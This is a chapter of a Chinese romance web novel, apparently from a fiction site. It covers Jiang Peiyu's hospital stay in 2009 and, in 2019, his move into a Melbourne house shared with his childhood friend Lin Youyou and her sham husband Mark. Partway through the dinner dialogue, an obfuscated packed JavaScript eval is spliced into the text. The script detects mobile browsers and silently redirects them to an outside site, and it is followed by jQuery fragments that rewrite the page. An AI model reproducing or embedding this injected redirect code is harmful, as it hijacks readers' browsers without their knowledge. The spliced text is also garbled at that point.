【2009年10月】
蒋培羽做了手术,麻药醒过来的时候是午夜,刘蓁守在他床尾,俯身,正在小憩。
她这样弓着身,缩成很小一团,让他觉得心惊,好像一夜之间发现她弱了,老了,成了婴孩。
四人间的病房,他睡在窗边,左边拉着帘,他看不见隔壁是什么人,只听到一个声音在无意义地呓语。
右边是窗,这天是满月,大概是麻药未完全消褪的缘故,他感觉不到什么苦痛,望着月亮,人很轻盈,处于某种愉快的晕眩之中,如同刚刚结束转圈游戏的小孩。
他喜欢这样的时刻,莹蓝色的世界相对他静止下来,时间的流逝并不成立。他闭上眼睛,可以听见楼下林悠悠的笑声,像踩在一架秋千上,荡来荡去,忽近忽远。
他喜欢这样的时刻,他可以安静地思念他喜欢的女孩。
再醒来是早晨10点多,蒋红国风尘仆仆,而刘蓁在给他剥鸡蛋张罗早餐。
“你这孩子逞什么英雄。把你妈吓坏了。”
蒋红国端了杯子给他喂了点水,蒋培羽这才能开口说话,哑着嗓子问:“我同学没事吧。”
刘蓁把粥碗重重往铁皮的床头柜一砸,埋怨说:“你还有空惦记她们。人家早就跑得没影了。”
她又对蒋红国说,“那个房子是刘三儿的吧,人老婆今天早上过来了,屋里砸得稀巴烂,那一家人电话都打不通,气得她骂娘。”
消息是罗家人捎来的,他们一家三口早晨来探蒋培羽,扑了空,吴娟告诉刘蓁小区传达室的保安说人连夜搬走了。
“估计是怕那些高利贷的再来找。作孽。”吴娟叹。
作什么孽?刘蓁本就不待见罗家人,听她这样一叹,心里更是冒火,三言两语就把他们打发了。
蒋培羽不说话,也不拿那碗粥,他垂着眼睛喝水,假装没听到刘蓁语气里的讽刺与轻蔑。
“行了行了,孩子都伤成这样了,让他多休息。”他在两边打圆场,又对蒋培羽说:“爸爸知道你是见义勇为帮助同学,不过也要有个度,得先保证自己安全,懂么?”
蒋培羽不答,他不想说谎,他厌恶成年人一套一套的说辞把冷漠包装得理所当然,还要塞给他们的孩子。他厌恶大院里的那些人心安理得地围着看,看着女人和孩子在眼皮底下受欺负。
“爸妈,我补一觉,你们折腾一夜,回家休息吧,这里有医生护士就行了。”他说罢,自顾自阖上眼睛。
傍晚罗星诚来给他送今天的作业和笔记,他借口补习的名义把刘蓁和蒋红国支去了食堂。
“吴阿姨真厉害。”蒋培羽说
“我也被我妈吓坏了。以前也没看她那么强硬过,你知道的,她开了这么十来年的店,都没怎么跟人起过冲突... 你知道为啥她给林悠悠和她妈出头吗。”
罗星诚从书包里往外掏文具,七七八八的东西散了他一床。
蒋培羽摇摇头。
“我起先也不知道,昨晚偷听我爸妈在客厅里说话,我妈说,悠悠长得有那么点像我那个姐姐。”
这儿没人认识他们,但罗星诚还是压低了声音。
原来如此。每每他们去吃粉,吴娟看林悠悠时分外怜爱的眼神,格外加的煎蛋,不要钱的豆浆,一切也都说得通了。
他不愿再深思。
有人挺身而出,林悠悠回想起来应当会觉得温暖,这就可以了。
“我昨晚给她发信息,她到现在没回。”
“我也是。她今天没来上学,大王也不肯告诉我细节,不过他说她家长打电话请了几天假,下周回来上学。问过了,人肯定是安全的,你就别担心了。过一阵说不定他们又搬回来了。”
罗星诚没心没肺地摊开卷子写作业,说写,更多的是咬着笔头,不时抄几笔蒋培羽的答案。
二十分钟不到,他又坐不住了,搭讪说,“蒋狗,你那天真的够男人。我靠,我本来也想往里冲,被我爸按住了... 嘿嘿,你这也算是正儿八经地英雄救美了,这事儿班上都在说,神乎其神,说你俩早就谈恋爱了。秦妙气死了,今天一天谁也没搭理,趴在桌上哭。”
“滚。”蒋培羽垂眼盯着数学卷子,耳尖却红了,伤口也开始隐隐作疼。
“好咧,蒋大侠。那啥,第二大题第一小问借我抄抄呗。”
-
【2019年8月初】
蒋培羽正将厨具收拾进纸箱里,师兄匆匆回国,公寓内一片狼籍。
他正对付灶台上残留的油渍,刘蓁给他打来视频电话,他转成语音接听。
照例是嘘寒问暖,又问他生活费还够不够用,找房子的事情如何。蒋培羽只说新找到了一处,有两个室友,再未交代细节。他们默契地都未提蒋红国。
上月比特币瀑布式暴跌,蒋红国把自己关在房间里两天没露面,和他一起投资的老伙伴里有一个跳了楼,刘蓁守在他身边,晚上他起身上厕所她也睁着眼,生怕他想不开。
刘蓁一直身体不好,平时有些神经质,常在小事上纠结不断,肉有没有及时解冻,米有没有淘三道,菜有没有用苏打粉洗,诸如此类,蒋红国的生意每况日下,卖了新房的时候她也经常埋怨几句,说蒋红国这人就是好面子,不死心,到头来别说什么好日子了,把儿子的老婆本都要搭进去。
蒋红国通常都是呵呵一笑,极少与她红脸。
可这一回她却忽然与蒋红国掉过了角色,无限地包容了她失败的丈夫。
“前两天在福田广场那边碰到覃玥妈妈哦,她还问起你在澳洲好不好。她说覃玥在那边谈朋友了,是个法国人,不靠谱哦。你偶尔还是问候一下人家,逢年过节给叔叔阿姨问个好。你们毕竟好了这么多年,没在一起我们都觉得可惜。”
蒋培羽讷讷,挂了电话,想起覃玥,记得起大概的轮廓,记得她是那种很聪明的人,懂得在什么时候骄矜什么时候温顺。
他也记得起他们高中毕业后瞒着父母去大梅沙海边的度假村,流火的七月,被单发潮。
但他记不清她具体的相貌,像握着一支沾满墨的笔,却无从下落。
门铃响了,是林悠悠来帮他搬家。
—— 两周前他走进那所位于墨尔本东郊的house,迎面玄关便是十四寸的结婚照。林悠悠穿着廉价的婚纱,画着过浓的过时的妆容,如同香港老电影里扮得过于成熟的女郎,男人端坐着,是个华人,须发灰白,但显得很儒雅。
林悠悠说,是假结婚,已经两年了,刚开始是为了要留在这里工作,拿这里的身份,要住在一起。今年年初身份下来后,她也没有着急搬走。
——‘Mark人很好,这两年得了他很多照顾。’
她当时微微笑着补充,仿佛一个幸福的新婚女人。
蒋培羽负责搬箱子,林悠悠替他拎一些轻巧的东西,大件家具都卖掉了,他东西不多,拢共不过十箱,其中两箱都是各式各样的潮牌球鞋。林悠悠不懂这些,只开玩笑说他一个男人怎么比她的鞋子都多。
最后一趟下楼,电梯下行至15楼,挤进来一群人高马大的外国年轻人,他们被迫站得很近,中间隔了个纸箱,面对面,林悠悠不敢抬头,她直觉蒋培羽正在观察自己,那几个年轻人气氛热烈,商量着晚上去哪个club玩,反衬得他们之间的沉默愈发尴尬。
林悠悠没话找话,指了指他斜挎的小包,问,这里面是什么。
“相机。”蒋培羽说。
如果林悠悠继续追问,他会告诉她,这还是当年那台‘无敌兔’,这些年市面上的单反相机迭代层出不穷,但他没有再新添过。相机的第一张内存卡也在相机包的内封里,里面有十四岁的林悠悠站在黄鹤楼顶傻兮兮地背诗。
但林悠悠什么都没说,只是岔开话题,微笑着说:“Mark听说你要搬进来,今天一早还去butcher那里买了牛排,今晚要煎给你吃。”
她比从前爱笑。
但那嘴角上扬的过程,总是缺一点最后的力道,悬停在半途,又直直落下去。
林悠悠开着皮卡,现下车渐渐驶出市区,蒋培羽看向后视镜,那些高耸的怪异的五颜六色的玻璃大厦离他们愈来愈远。
傍晚时分,这个城市常有十分盛大的晚霞,打翻颜料盘似的橙红,压在靛蓝色的天际,像在长长的公路尽头等待他们。
路旁的店铺陆续打烊,孤独的灯亮了又暗,再往郊区去,天已是黑青色,有寂寞的鸦鸣。
与林悠悠偶遇之始他便仿佛开始做梦,如今他少年时爱恋过的女孩,开着车载着他,往梦的更深处去。
-
上次来时蒋培羽甚至都没有好好观察过这个房子和它周围的环境,稀里糊涂地便定了要来住。
房子是个小二层结构,不是传统富人区,周围的邻居多是蓝领工人,越南裔移民,和一些退休的白人老头老太。
“这儿当然比不上南边那些地方,不过都是住家带孩子的,还算安全。离房子走路二十分钟有个巴士站,可以坐到city,就是沿途要在小区里绕来绕去,不比train省心。”林悠悠一边倒车入库一边说。
拉了手刹,她又转向他,噙着一点无奈的笑意,说:“你先住着吧,住不惯了,要搬走提前跟我说一声,我跟Mark说了不扣你押金。”
大概她觉得这是个很冲动的决定吧。
“这儿挺好的。”蒋培羽说,提前她一步先下了车,走到后面去拿箱子。
“先吃饭吧,蒋培羽。等会儿再来搬。”林悠悠站在侧门那里招呼他。
餐厅的小窗上嵌着长虹玻璃,袅袅一点晕黄的光漫溢出来。这似乎是自他们重逢后她第一次端正地叫他的名字。
蒋培羽忽地记起雷同的一幕。记得从前有一次与几个同学一道去一位已经定居的深大学姐的新居做客,也是郊区,学姐和她的未婚夫站在门廊下迎他们,周遭是一种相似的荧蓝色的昏暗,他们微笑着,好像那房子里藏着他们幸福的秘密。
“欢迎欢迎。”有人打开侧门,说着有着浓浓东南亚腔调的中文。是那位Mark。
灰发,肤色深些,东南亚人深邃的五官分布,衣着整洁,引人侧目的是他的左腿,空空的裤管,左手手腕压着拐杖。
蒋培羽礼貌地移开目光。
餐桌上Mark告诉蒋培羽,他祖父母都是潮州人,下南洋的时候去了马来西亚,在那处扎根,他本名姓黄,名文源,后因九十年代东南亚排华情绪高涨,他便又携家带口坐着轮船来到了澳洲,从此在墨尔本扎根,做起了屠宰生意。
妻子许多年前因癌去世,他与独子关系不好,后者讲求全然西化的生活方式和思想,早早搬出了家中。
“这条腿是在肉厂操作失误没的,如果不是悠悠的舅舅冒险去把机器及时关了,我命也没有了。”他笑着端起红酒,主动说起残疾的缘故。
“悠悠说,你和她小时候还做过邻居,正好,也多个人互相照顾。昨天她一个人把你那个房间都打扫了,床单被罩都是她新买的,过了水,给你换上了。我连上楼都难,只能给你做饭,欢迎你。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16332403|183296||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
林悠悠低头说,“也没什么,就是擦擦灰,吸吸尘。以前在武汉,他很照顾我。”
“你们做了多久的同学?”Mark问。
“一学期,不到... ”她答,“算算也是十年前的事情了,日子过得真快呀。”
她的脸颊上又浮现那种笑,仿佛回想从前,尽是些甜美的往事。
后来他们又谈了一会儿天,Mark便要去休息了。蒋培羽去搬箱子,林悠悠说要帮忙,他不让,前者也不再坚持,只是告诉他车库钥匙如何使用。
Mark腿脚不便住在一楼的卧室,他们二人住在二楼两间。
蒋培羽搬完了东西,坐在转椅上发愣,期间刘蓁给他来了两个视频邀请,他没接,说与同学在外吃饭。
他的窗口上悬吊着一个深蓝色的捕梦网,窗户留了一丝缝,冷气蹑手蹑脚地袭进来,捕梦网尾端的灰色羽毛飘来荡去,像是不受重力的吸引。
洗手间在房间外,里头整洁干燥,有橙花的香气。置物架上有几个林悠悠的黑色皮筋,有一个似是刚从头上取下来的,卷曲着,留了一根她的头发。
他洗了把脸,这才往楼下去。
-
林悠悠在厨房收拾碗碟,淅淅沥沥的一些水声,蒋培羽叉起手,倚在冰箱上,压低了声音问她:“要帮忙么。”
林悠悠早从窗户玻璃的倒影里看到他站在身后,没回头,说:“不用,冲一冲就放洗碗机里,快得很。房间还行吗?郊区夜里冷,你早点把heater打开。”
又说:“虽然洗手间只有一个,不过我出门早,五点多就得出门,早上也不会跟你抢着用。我会尽量小声一点的。”
其实他们同岁,林悠悠比他大月份而已,对他说话时却总有种对待孩子似的耐心。
她跟蒋培羽认识的大多数同龄人确实不一样,岁月过早地从她身上剥夺了一些轻盈张扬的东西,塞给她一副淡淡的很谅解的笑脸。
“嗯。”
蒋培羽不多言也不离开,Mark休息了,他们的声音很轻。
林悠悠告诉他锅的摆放,食材的储存,洗碗机和微波炉的使用,碗盏如何晾干。厨房是老式的暗青色面板,金铜质的把手和水龙头,她的围裙是暗红色起白色波点的,站在那里像一副老式的家庭海报。
有一刻两人双双静下去。他在城里住久了,几乎不适应郊区的静,幻听了,觉得林悠悠还在呢喃什么。
“你和他是怎么认识的。”
林悠悠也看得出来,他对Mark仍有很重的戒心,假结婚是很严重的事情,为了留下来被骗色又骗财的女孩也不在少数。为了接受移民局的调查,夫妇须得同住一个屋檐下几年之久。
“Mark吗?”
林悠悠在围裙上抹了手上的水渍,台面整洁干燥,再无事可忙,她双手尴尬得无处安放,只得转过身来与他对视,“我和我表舅之前都在他的肉厂上班,后来我们工作签证都到期了,表舅要回国,我不想回,这儿打工赚的多啊,你也知道的,尤其是脏一些的活儿,给得更多。想了许多办法都不行,本想上个学读个护理专业,但学费太高了。那时候Mark刚刚出院,生活多有不便,我表舅对他也算是救命之恩,他便主动提出要想办法帮我留下来,我住进来,偶尔在生活上帮他搭把手,也算是相互照顾。”
“他人很好的。我住在这里他连房租也不肯要,平时也尽量不麻烦我。比我之前租房和别人挤一个房间要好多了。”
“你父母呢?”他问。
“我妈妈和舅舅都在武汉,那时候回乡下避了几年,后来又回那个市场卖鱼了,不知道你还记不记得... 至于我爸,那次之后他就跑了,再没出现过。”
这些年她很少与人提起当年事,更何况是这种细节。她舌头发僵,觉得‘爸爸’两个字的发音都陌生起来。
她想也许是她自作多情罢,又也许,她的直觉是对的,在那处他们还有个未了的心结,关于她当初的不告而别。但毕竟这么多年过去了,他们也不是不谙世事的少男少女,那点往事就像是线头上一个小小小小的死结,无关紧要,手指使劲儿摩挲上去才知道还在那里。
但既然要同住,总要翻了篇才能平和相处。
她跟他说笑道:“问了我这么多,说说你吧,这些年都在深城吗?”
“是,一直在深城... 对了,罗星诚和朱敏结婚了,你知道吗?”
“是吗,好难得。”
不是蒋培羽故意不展开,只是过去些年他的轨迹确实乏善可陈,一时拎不出什么值得说的,便把话题转向别人。
说起故乡的玩伴,他少年时代的一些气质也仿佛回来了。令人觉得可亲。
林悠悠走过来,他们拉进了距离,她打开冰箱,探身说:“我早上做了些提拉米苏,现在吃正好,你要尝尝吗?我也没有什么别的爱好,偶尔喜欢自己做做甜品。Mark说我做甜品的手艺好,不过我想他只是人太好了才这么说。你喜欢吃甜的吗?不过我这个做得不甜的,朗姆酒的比例放多了,你能喝酒的吗?”
她亲切地努力说着话。
“... 初二之后的每个暑假我都会回武汉找你。”
冰箱门开得太久,响起一阵尖锐的鸣叫。
林悠悠欲盖弥彰的絮叨陡然停下来。她盯着冰箱的玻璃隔层上一点粉红色的冰碴,是肉类醒冻后留下的血的痕迹。
半晌无后话,蒋培羽顿了顿,似如梦方醒,说了句“我去睡了。”也不顾什么礼仪,转身兀自上楼了。